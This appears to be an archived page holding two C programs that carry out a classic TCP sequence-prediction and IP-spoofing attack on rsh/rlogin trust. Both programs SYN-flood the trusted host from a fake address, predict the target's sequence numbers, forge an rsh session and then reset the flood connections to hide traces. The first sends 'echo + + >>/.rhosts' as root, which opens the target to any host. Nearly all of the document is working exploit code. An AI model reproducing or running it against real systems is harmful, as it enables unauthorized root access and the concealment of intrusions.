home *** CD-ROM | disk | FTP | other *** search
- /* This source is subject to the GNU PUBLIC LICENSE. It can be used freely
- * for any non-commercial purpose, and this message and the contact
- * information must remain intact. For commercial purposes, you MUST contact
- * us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is
- * available from: ftp://aeneas.mit.edu/pub/gnu/
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * Mike Neuman
- * En Garde Systems
- * 525 Clara Avenue, Suite 202
- * St. Louis, MO 63112
- * mcn@EnGarde.com
- */
-
- #include <stdio.h>
- #include <setjmp.h>
- #include <signal.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in_systm.h>
- #include <netinet/in.h>
- #include <net/if.h>
- #include <netinet/if_ether.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <errno.h>
- #include <netdb.h>
-
- #include "ipbpf.h" /* Include ipbpf header */
-
- #define BADHOST "16.17.18.19"
- /* The host to spoof flooding the trusted
- * host's destination port from. This host shouldn't exist, but should have
- * correct routing entries. The important part is so that returned packets
- * go to nowhere.
- */
-
- #define NUMSEQUENCE 80
- /* The number of connections to spoof from BADHOST. I made this big.
- * I've found 4.4BSD will be flooded with only 8 unacked connections. Your
- * mileage may vary
- */
-
- #define NUMTESTS 10
- /* How many samples of the sequence numbers do you want to take?
- * I randomly picked 10 and only take the last result. If I wanted to be
- * elegant, I'd do some sort of statistical average. Sequence numbers
- * are generally updated by a fixed number, this attempts to compute
- * this number taking into account average network lag. Fixed sequence
- * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and
- * probably others, although I haven't tested them.
- */
-
- #define ROUTER "router.EnGarde.com"
- /* The name of your router to the outside world. Spoofed packets need to
- * be sent to it's ether/fddi address in order to get to the outside world.
- */
-
- main(argc, argv)
- int argc;
- char *argv[];
-
- {
- struct hostent *he;
- u_long trust_addr, targ_addr;
- u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
- u_long next_seq, offset;
-
- if (argc!=3) {
- fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]);
- exit(1);
- }
- if ((he=gethostbyname(argv[1]))==NULL) {
- trust_addr=inet_addr(argv[1]);
- if (trust_addr==(u_long)-1) {
- fprintf(stderr, "Unknown host %s\n", argv[1]);
- exit(1);
- }
- } else
- bcopy(he->h_addr, &trust_addr, 4);
-
- if ((he=gethostbyname(argv[2]))==NULL) {
- targ_addr=inet_addr(argv[2]);
- if (targ_addr==(u_long)-1) {
- fprintf(stderr, "Unknown host %s\n", argv[2]);
- exit(1);
- }
- } else
- bcopy(he->h_addr, &targ_addr, 4);
-
- printf("Initializing Packet Filter\n");
- use_best(); /* Use the best packet filter available on this system */
- if (init_filter("tcp", NULL)) {
- /* Initialize the packet filter and read only TCP packets */
- fprintf(stderr, "Can't init Packet Filter\n");
- exit(1);
- }
-
- /* First, send NUMSEQUENCE connection requests from BADHOST to the
- * trusted host on a trusted port (currently 513). Trusted host will
- * attempt to SYN-ACK these. If BADHOST doesn't exist, there will never
- * be a response ACK. Consequently, trusted host's connection queue will
- * fill and it will no longer respond to any packets to port 513.
- */
-
- printf("[Hosing Trusted Host...]\n");
- if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) {
- fprintf(stderr, "Couldn't hose %s\n", argv[1]);
- exit(1);
- }
-
- /* Next, do a sampling of the difference in sequence numbers. These packets
- * are NOT spoofed as receiving the reply is required. Consequently, this
- * host can appear in any packet traces.
- */
- printf("[Determining sequence numbers...]\n");
- if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) {
- fprintf(stderr, "Couldn't determine sequence numbers for %s\n", argv[2]);
- exit(1);
- }
-
- printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offset);
-
- /* Next, do the actual spoofed connection, now that we know what the next
- * sequence number will be.
- */
- printf("[Spoofing Connection...]\n");
- if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) {
- fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]);
- exit(1);
- }
-
- /* Finally, reset all of the half started connections on trusted-host.
- * This will put trusted-host back into it's normal state (and hide
- * the traces that it was used for evil.
- */
- printf("[Cleaning Up Trusted Mess...]\n");
- if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) {
- fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1]);
- exit(1);
- }
-
- /* fin */
- exit(0);
- }
-
- hose_trusted(trust_host, trust_addr, seq_num, port_num)
- char *trust_host;
- u_long trust_addr;
- u_long seq_num[NUMSEQUENCE];
- u_short port_num[NUMSEQUENCE];
- {
- int i;
- u_long start_seq=49358353+getpid(); /* Make this anything you want */
- u_long start_port=600; /* Make this anything you want */
- struct ether_header eh;
- u_long bad_addr;
-
- /* First attempt to find the hardware address of the trusted host */
- if (ether_hostton(trust_host, &eh.ether_dhost)) {
- /* If that fails, find the hardware address of the router */
- if (ether_hostton(ROUTER, &eh.ether_dhost)) {
- fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
- return(1);
- }
- }
- eh.ether_type=ETHERTYPE_IP;
-
- if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
- fprintf(stderr, "Can't convert BADHOST address.\n");
- return(1);
- }
-
- /* Send a whole bunch of spoofed SYNs. Arguments to sendtcppacket_simple
- * are:
- * sendtcppacket_simple(
- * struct ether_addr source_hardware_address,
- * struct ether_addr destination_hardware_address,
- * u_long source_ip_address,
- * u_long destination_ip_address,
- * u_short source_port,
- * u_short destination_port,
- * u_long sequence_number,
- * u_long acknowldegement_number,
- * int TCP flags (SYN, RST, ACK, PUSH, FIN),
- * char * data,
- * int datalen)
- */
- for (i=0;i<NUMSEQUENCE;i++) {
- port_num[i]=start_port++; /* record the ports and sequence numbers */
- seq_num[i]=start_seq++; /* for later reseting */
-
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- bad_addr, trust_addr,
- port_num[i], 513, /* 513 is rlogin/rsh port */
- seq_num, 0,
- TH_SYN, NULL, 0);
- }
- return(0);
- }
-
- jmp_buf env;
-
- void timedout()
- {
- longjmp(env, 1);
- }
-
- determine_sequence(targ_host, targ_addr, next_seq, offset)
- char *targ_host;
- u_long targ_addr, *next_seq, *offset;
- {
- struct hostent *he;
- struct ether_header eh, eh2;
- struct ip iph;
- struct tcphdr tcph;
- int i;
- u_long start_seq=4138353+getpid(); /* Make this anything you want */
- u_long start_port=600; /* Make this anything you want */
- u_long my_addr;
- char buf[80];
- u_long prev_seq=0, diff=0;
-
- *offset=0;
- /* first attempt to get the destination's hardware address */
- if (ether_hostton(targ_host, &eh.ether_dhost)) {
- /* If that fails, get the router's hardware address */
- if (ether_hostton(ROUTER, &eh.ether_dhost)) {
- fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
- return(1);
- }
- }
- eh.ether_type=ETHERTYPE_IP;
-
- gethostname(buf, 79);
- if ((he=gethostbyname(buf))==NULL) {
- fprintf(stderr, "Can't get my hostname!?\n");
- return(1);
- }
- bcopy(he->h_addr, &my_addr, 4);
- for (i=0;i<NUMTESTS;i++) {
- /* Do a setjmp here for timeouts */
- if (setjmp(env))
- fprintf(stderr, "Response Timed out... Resending...\n");
- signal(SIGALRM, timedout);
- alarm(0);
- alarm(10); /* Wait 10 seconds for reply */
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- my_addr, targ_addr,
- start_port, 514, /* 514 is rsh port */
- start_seq, 0,
- TH_SYN, NULL, 0);
- /* Send connection request packet */
-
- for (;;) {
- /* Wait until the reply is received. Arguments for readpacket
- * are:
- * readpacket(
- * struct fddi_header fddi_header,
- * struct ether_header ether_header,
- * struct ip ip_header,
- * struct udphdr udp_header,
- * struct tcphdr tcp_header,
- * char * data,
- * int datalen)
- *
- * return type is the type of packet read
- */
-
- while (readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL)!=
- PTYPE_IP_TCP) ;
- if (ntohs(tcph.th_dport)==start_port &&
- ntohs(tcph.th_sport)==514) {
- /* If the ports match, it's probably a reply--this isn't
- * definite, but it's a pretty good guess .
- * The following attempts to generate a reliable sequence.
- * Actually, it's pretty dumb. It tries 10 times, then takes
- * the last result. Generally, I've found this to work well
- * enough to warrant not writing anything smarter.
- */
- if (prev_seq) {
- diff=tcph.th_seq-prev_seq;
- printf("(prev=%u, new=%u, diff=%u\n", prev_seq,
- tcph.th_seq, diff);
- } else
- diff=0;
- if (*offset==0)
- *offset=diff;
- else {
- if (*offset!=diff)
- printf("Difference in Offset: old=%u, new=%u\n",
- *offset, diff);
- *offset=diff;
- }
- prev_seq=tcph.th_seq;
- sendtcppacket_simple(
- &(eh.ether_shost), &(eh.ether_dhost),
- my_addr, targ_addr,
- start_port++, 514,
- start_seq++, 0,
- TH_RST, NULL, 0);
- /* Send a reset to close the connection. Note, this
- * automatically will be sent by localhost unless
- * a service is listening on whatever port you've
- * chosen to start with at the top of this routine.
- * so I reset it anyway
- */
- break; /* out of infinite for */
- }
- } /* of infinite for */
- alarm(0);
- } /* for i=0 i<numtests... */
- *next_seq=prev_seq+*offset;
- return(0);
- }
-
- spoof_connection(trust_addr, targ_host, targ_addr, next_seq)
- u_long trust_addr, targ_addr, next_seq;
- {
- struct ether_header eh;
- char buf[80];
- struct hostent *he;
- u_long my_addr;
- u_short port=513;
- char *string="0\0root\0root\0echo + + >>/.rhosts\0";
- int stringlen=32;
- u_long seq=385773357;
- int i;
-
- /* As before, get the target's hardware address */
- if (ether_hostton(targ_host, &eh.ether_dhost)) {
- /* If that fails, get the router's hardware address */
- if (ether_hostton(ROUTER, &eh.ether_dhost)) {
- fprintf(stderr, "Can't determine etheraddr of target host or router.\n");
- return(1);
- }
- }
- eh.ether_type=ETHERTYPE_IP;
-
- /* Send a syn with our own sequence number */
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- trust_addr, targ_addr,
- port, 514,
- seq++, 0,
- TH_SYN, NULL, 0);
- usleep(5000); /* wait for the other side to SYN,ACK */
-
- /* Send the ACK for the sequence number we guessed. I've found we guess
- * right about 90% of the time
- */
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- trust_addr, targ_addr,
- port, 514,
- seq, ++next_seq,
- TH_ACK, NULL, 0);
-
- /* Now, send our rsh request with the proper sequence and ACK nubmers */
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- trust_addr, targ_addr,
- port, 514,
- seq, next_seq,
- TH_ACK, string, stringlen);
- seq+=stringlen;
-
- sleep(1); /* Wait for it to be received, ACKd, and processed */
- /* Send a fin with the our new sequence number and their sequence number */
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- trust_addr, targ_addr,
- port, 514,
- seq, next_seq,
- TH_FIN, NULL, 0);
-
- for (i=1;i<4;i++) { /* Send a bunch of ACKs */
- /* If we screwed up the guessing the correct sequence number the remote
- * host is using, guess a whole bunch more just to be sure. We could
- * probably reset the connection, but it's better to have the
- * net software hang waiting for a proper FIN/ACK than have the
- * application that we've spoofed into running exit because we
- * reset the connection.
- */
- sleep(2);
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- trust_addr, targ_addr,
- port, 514,
- seq+1, next_seq+i,
- TH_ACK, NULL, 0);
- }
- usleep(50000); /* Finally, send a RST */
- /* Now, if we're really screwed, and ~8 seconds later we haven't guessed
- * the right sequence number, just reset the connection. Hopefully by now
- * the application has done it's job, so resetting shouldn't cause any
- * problems.
- */
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- trust_addr, targ_addr,
- port, 514,
- seq+1, next_seq+4,
- TH_RST, NULL, 0);
-
- return(0);
- }
-
- reset_trusted(trust_host, trust_addr, seq_num, port_num)
- u_long trust_addr;
- u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
- {
- struct ether_header eh;
- u_long bad_addr;
- int i;
-
- if (ether_hostton(trust_host, &eh.ether_dhost)) {
- if (ether_hostton(ROUTER, &eh.ether_dhost)) {
- fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
- return(1);
- }
- }
- eh.ether_type=ETHERTYPE_IP;
-
- if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
- fprintf(stderr, "Can't convert BADHOST address.\n");
- return(1);
- }
-
- /* Reset all of the connections we started before */
- for (i=0;i<NUMSEQUENCE;i++) {
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- bad_addr, trust_addr,
- port_num[i], 513,
- seq_num[i], 0,
- TH_RST, NULL, 0);
- }
- return(0);
- }
-
-
-
-
-
-
- -------------------------------------------------------------------------------------
-
- /* Under Solaris try:
- gcc x.c -lsocket -lnsl -L/usr/ucblib -lucb
- */
-
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in_systm.h>
- #include <netinet/in.h>
- #include <net/if.h>
- #include <netinet/ip.h>
- #ifdef sun
- #include <netinet/tcp.h>
- #else /* Linux */
- #include <netinet/ip_tcp.h>
- #endif
- #include <errno.h>
- #include <netdb.h>
-
- #ifdef sun
- struct iphdr {
- u_char version:4, /* version */
- ihl:4; /* header length */
- u_char tos; /* type of service */
- short tot_len; /* total length */
- u_short id; /* identification */
- short frag_off; /* fragment offset field */
- u_char ttl; /* time to live */
- u_char protocol; /* protocol */
- u_short check; /* checksum */
- unsigned long saddr, daddr; /* source and dest address */
- };
- #endif
-
- /*
- * Pinched from ping.c
- * -------------------
- * in_cksum --
- * Checksum routine for Internet Protocol family headers (C Version)
- */
- unsigned short in_cksum(addr, len)
- u_short *addr;
- int len;
- {
- register int nleft = len;
- register u_short *w = addr;
- register int sum = 0;
- u_short answer = 0;
-
- /*
- * Our algorithm is simple, using a 32 bit accumulator (sum), we add
- * sequential 16 bit words to it, and at the end, fold back all the
- * carry bits from the top 16 bits into the lower 16 bits.
- */
- while (nleft > 1) {
- sum += *w++;
- nleft -= 2;
- }
-
- /* mop up an odd byte, if necessary */
- if (nleft == 1) {
- *(u_char *)(&answer) = *(u_char *)w ;
- sum += answer;
- }
-
- /* add back carry outs from top 16 bits to low 16 bits */
- sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
- sum += (sum >> 16); /* add carry */
- answer = ~sum; /* truncate to 16 bits */
- return(answer);
- }
-
- inline void printtcppacket(int r, char *buf, struct sockaddr_in *addr)
- {
- struct iphdr *ip;
- struct tcphdr *tcp;
- int len=-1;
-
- printf("-------------------------------------------------------------------------------\n");
- /* IP */
- printf("Packet Size = %d\n",r);
- addr->sin_addr.s_addr = ntohl(addr->sin_addr.s_addr);
- ip = (struct iphdr *) buf;
- len = ip->ihl << 2;
- printf("IP Header\n");
- printf("---------\n");
- printf("length %d, version %d\n",len,ip->version);
- printf("tos %d, tot_len %d\n",ip->tos, ntohs(ip->tot_len));
- printf("id %d, frag_off %d, ttl %d, protocol %d\n",ntohs(ip->id),ntohs(ip->frag_off),
- ip->ttl, ip->protocol);
- printf("check %d\n",ntohs(ip->check));
- printf("IPFrom %s, ",inet_ntoa(ip->saddr));
- printf("IPTo %s\n",inet_ntoa(ip->daddr));
-
- /* TCP */
- tcp = (struct tcphdr *) (buf + len);
-
- printf("TCP Header\n");
- printf("----------\n");
- printf("SPort = %hu, DPort = %hu, SeqNum = %lu, AckNum = %lu\n",
- ntohs(tcp->th_sport), ntohs(tcp->th_dport),
- ntohl(tcp->th_seq), ntohl(tcp->th_ack));
- printf("x2 %d, off %d\n",tcp->th_x2,tcp->th_off);
-
- printf("Flags");
- if (!tcp->th_flags)
- printf(" none");
- else {
- if (tcp->th_flags & TH_FIN)
- printf(" FIN");
- if (tcp->th_flags & TH_SYN)
- printf(" SYN");
- if (tcp->th_flags & TH_RST)
- printf(" RST");
- if (tcp->th_flags & TH_PUSH)
- printf(" PUSH");
- if (tcp->th_flags & TH_ACK)
- printf(" ACK");
- if (tcp->th_flags & TH_URG)
- printf(" URG");
- }
- printf(".\n");
- printf("win %d, sum %d, urp %d\n",ntohs(tcp->th_win),ntohs(tcp->th_sum),ntohs(tcp->th_urp));
- }
-
- inline void gettcppacket(int s, char *buf, int size)
- {
- struct sockaddr_in addr;
- struct iphdr *ip;
- struct tcphdr *tcp;
- int len, r;
-
- len = sizeof(addr);
- if ((r = recvfrom(s,buf,size,0,(struct sockaddr *) &addr,&len)) == -1) {
- perror("recvfrom");
- fprintf(stderr,"error: recvfrom returned %d\n",r);
- exit(1);
- }
-
- /*
- printtcppacket(r,buf,&addr);
- */
-
- }
-
- inline void sendtcppacket(int s, unsigned long src, unsigned long dest,
- struct sockaddr_in *addr,
- unsigned char flags, unsigned short sport, unsigned short dport,
- unsigned long seqnum, unsigned long acknum, char *data, int datalen)
- {
-
- struct iphdr ip;
- struct tcphdr tcp;
- static char packet[4096];
- char tcpbuf[4096];
- char *ptr;
- unsigned short size=0;
-
- ip.ihl = 5;
- ip.version = 4;
- ip.tos = 0;
- ip.tot_len = htons(40 + datalen);
- ip.id = htons(666+(rand()%100));
- ip.frag_off = 0;
- ip.ttl = 255;
- ip.protocol = IPPROTO_TCP;
- ip.check = 0;
- ip.saddr = src;
- ip.daddr = dest;
-
- ip.check = in_cksum((char *)&ip,sizeof(ip));
-
- tcp.th_sport = htons(sport);
- tcp.th_dport = htons(dport);
- tcp.th_seq = htonl(seqnum);
- tcp.th_ack = htonl(acknum);
- tcp.th_x2 = 0;
- tcp.th_off = 5;
- tcp.th_flags = flags;
- tcp.th_win = htons(10052);
- tcp.th_sum = 0;
- tcp.th_urp = 0;
-
- /* Add in a pseudo IP header */
- memset(tcpbuf,0,4096);
- ptr = tcpbuf;
- memcpy(ptr,&(ip.saddr),8); /* Both saddr and daddr */
- ptr += 9; /* Skip the 0 field */
- memcpy(ptr,&(ip.protocol),1);
- ptr += 1;
- size = htons(datalen + sizeof(tcp));
- memcpy(ptr,&(size),2);
- ptr += 2;
- memcpy(ptr,&tcp,sizeof(tcp)+datalen);
-
- tcp.th_sum = in_cksum((char *)tcpbuf,sizeof(tcp)+12+datalen);
-
- memcpy(packet,(char *)&ip,sizeof(ip));
- memcpy(packet+sizeof(ip),(char *)&tcp,sizeof(tcp));
- memcpy(packet+sizeof(ip)+sizeof(tcp),(char *)data,datalen);
-
- /*
- printtcppacket(sizeof(ip)+sizeof(tcp)+datalen,packet,addr);
- */
-
- if (sendto(s,packet,sizeof(ip)+sizeof(tcp)+datalen,0,
- (struct sockaddr *)addr, sizeof(struct sockaddr_in)) == -1) {
- perror("sendto");
- exit(1);
- }
-
- }
-
- void determine_sequence(int s, int r, unsigned long src, unsigned long dest,
- struct sockaddr_in *addr,
- unsigned long *next_seq, unsigned long *offset)
- {
- struct iphdr *ip;
- struct tcphdr *tcp;
- int i, len;
- unsigned long start_seq=4321965+getpid();
- unsigned long start_port=600;
- char buf[4096];
- unsigned long prev_seq=0, diff=0;
-
- *offset=0;
-
- for (i=0;i<10;i++) {
- sendtcppacket(s,src,dest,addr,TH_SYN,start_port,514,start_seq,0,NULL,0);
-
- for (;;) {
- gettcppacket(r,buf,sizeof(buf));
- ip = (struct iphdr *) buf;
- if (ip->saddr != dest)
- continue;
- /*
- printtcppacket(sizeof(buf),buf,addr);
- */
- len = ip->ihl << 2;
- tcp = (struct tcphdr *) (buf+len);
- if (ntohs(tcp->th_dport)==start_port &&
- ntohs(tcp->th_sport)==514) {
- if (prev_seq) {
- diff=tcp->th_seq-prev_seq;
- printf("(prev=%u, new=%u, diff=%u\n", prev_seq,
- tcp->th_seq, diff);
- } else
- diff=0;
- if (*offset==0)
- *offset=diff;
- else {
- if (*offset!=diff)
- printf("Difference in Offset: old=%u, new=%u\n",
- *offset, diff);
- *offset=diff;
- }
- prev_seq=tcp->th_seq;
- sendtcppacket(s,src,dest,addr,TH_RST,start_port++,514,start_seq++,0,NULL,0);
- break; /* out of for loop */
- }
- }
- }
- *next_seq=prev_seq+*offset;
- }
-
- void spoof(int s, unsigned long src, unsigned long dest,
- struct sockaddr_in *addr, unsigned long next_seq)
- {
- char buf[4096];
- unsigned short port=513;
- /*char *string="0\0root\0root\0echo + + >>/.rhosts\0";
- int stringlen=32;*/
- char *string="0\0kurt\0kurt\0/usr/bin/touch /tmp/spoof \0";
- int stringlen=39;
- u_long seq=54378435;
- int i;
-
- /* Send a syn with our own sequence number */
- sendtcppacket(s,src,dest,addr,TH_SYN,port,514,seq,0,NULL,0);
- usleep(5000); /* wait for the other side to SYN,ACK */
-
- sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq,++next_seq,NULL,0);
-
- sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq,next_seq,string,stringlen);
- seq+=stringlen;
-
- sleep(1);
- sendtcppacket(s,src,dest,addr,TH_FIN,port,514,seq,next_seq,NULL,0);
-
- for (i=1;i<4;i++) {
- sleep(2);
- sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq+1,next_seq+i,NULL,0);
- }
- usleep(50000);
-
- sendtcppacket(s,src,dest,addr,TH_RST,port,514,seq+1,next_seq+4,NULL,0);
- }
-
- void reset_trusted(int s, unsigned long src, unsigned long dest,
- struct sockaddr_in *addr,
- unsigned long seq_num[80], unsigned long port_num[80])
- {
- int i;
-
- for (i=0;i<80;i++)
- sendtcppacket(s,src,dest,addr,TH_RST,port_num[i],513,seq_num[i],0,NULL,0);
- }
-
- void hose_trusted(int s, unsigned long src, unsigned long dest,
- struct sockaddr_in *addr,
- unsigned long seq_num[80], unsigned long port_num[80])
- {
- int i;
- unsigned long start_seq=78156767+getpid();
- unsigned long start_port=600;
-
- for (i=0;i<80;i++) {
- port_num[i]=start_port++;
- seq_num[i]=start_seq++;
- sendtcppacket(s,src,dest,addr,TH_SYN,port_num[i],513,seq_num[i],0,NULL,0);
- }
- }
-
- void main(int argc, char *argv[])
- {
-
- int rec, sen, i=1;
- unsigned char buf[4096];
- struct sockaddr_in addr, trustedaddr, bogusaddr;
- char *bogusname = "19.17.14.17";
- unsigned long dest, bogus, trusted, src, nseq, offset;
- struct hostent *host;
- unsigned long seq_num[80], port_num[80];
-
- if (argc != 3) {
- fprintf(stderr,"Usage: %s trusted target\n",argv[0]);
- exit(1);
- }
-
- memset(&trustedaddr,0,sizeof(trustedaddr));
- trustedaddr.sin_family = AF_INET;
- if ((trustedaddr.sin_addr.s_addr = inet_addr(argv[1])) == -1) {
- if ((host = gethostbyname(argv[1])) == NULL) {
- printf("Unknown host %s.\n",argv[1]);
- exit(1);
- }
- trustedaddr.sin_family = host->h_addrtype;
- memcpy((caddr_t) &trustedaddr.sin_addr,host->h_addr,host->h_length);
- }
- printf("Trusted is %s\n",inet_ntoa(trustedaddr.sin_addr.s_addr));
- memcpy(&trusted,(char *)&trustedaddr.sin_addr.s_addr,4);
-
- memset(&addr,0,sizeof(addr));
- addr.sin_family = AF_INET;
- if ((addr.sin_addr.s_addr = inet_addr(argv[2])) == -1) {
- if ((host = gethostbyname(argv[2])) == NULL) {
- printf("Unknown host %s.\n",argv[2]);
- exit(1);
- }
- addr.sin_family = host->h_addrtype;
- memcpy((caddr_t) &addr.sin_addr,host->h_addr,host->h_length);
- }
- printf("Target is %s\n",inet_ntoa(addr.sin_addr.s_addr));
- memcpy(&dest,(char *)&addr.sin_addr.s_addr,4);
-
- if ((rec = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
- perror("error: recv socket");
- exit(1);
- }
-
- if ((sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
- perror("error: send socket");
- exit(1);
- }
-
- #ifdef IP_HDRINCL
- fprintf(stderr,"IP_HDRINCL is set\n");
- if (setsockopt(sen,IPPROTO_IP,IP_HDRINCL,(char *)&i,sizeof(i)) < 0) {
- perror("setsockopt IP_HDRINCL");
- exit(1);
- };
- #endif
-
- gethostname(buf, 128);
- if ((host=gethostbyname(buf))==NULL) {
- fprintf(stderr, "Can't get my hostname!?\n");
- exit(1);
- }
- memcpy(&src,host->h_addr,4);
-
- bogusaddr.sin_family = AF_INET;
- bogusaddr.sin_addr.s_addr = inet_addr(bogusname);
- memcpy(&bogus,(char *)&bogusaddr.sin_addr.s_addr,4);
-
- hose_trusted(sen,bogus,trusted,&bogusaddr,seq_num,port_num);
-
- determine_sequence(sen, rec, src, dest, &addr, &nseq, &offset);
-
- printf("Next sequence number is: %u, offset is: %u\n", nseq, offset);
-
- spoof(sen,trusted,dest,&trustedaddr,nseq);
-
- reset_trusted(sen,bogus,trusted,&bogusaddr,seq_num,port_num);
-
- }
-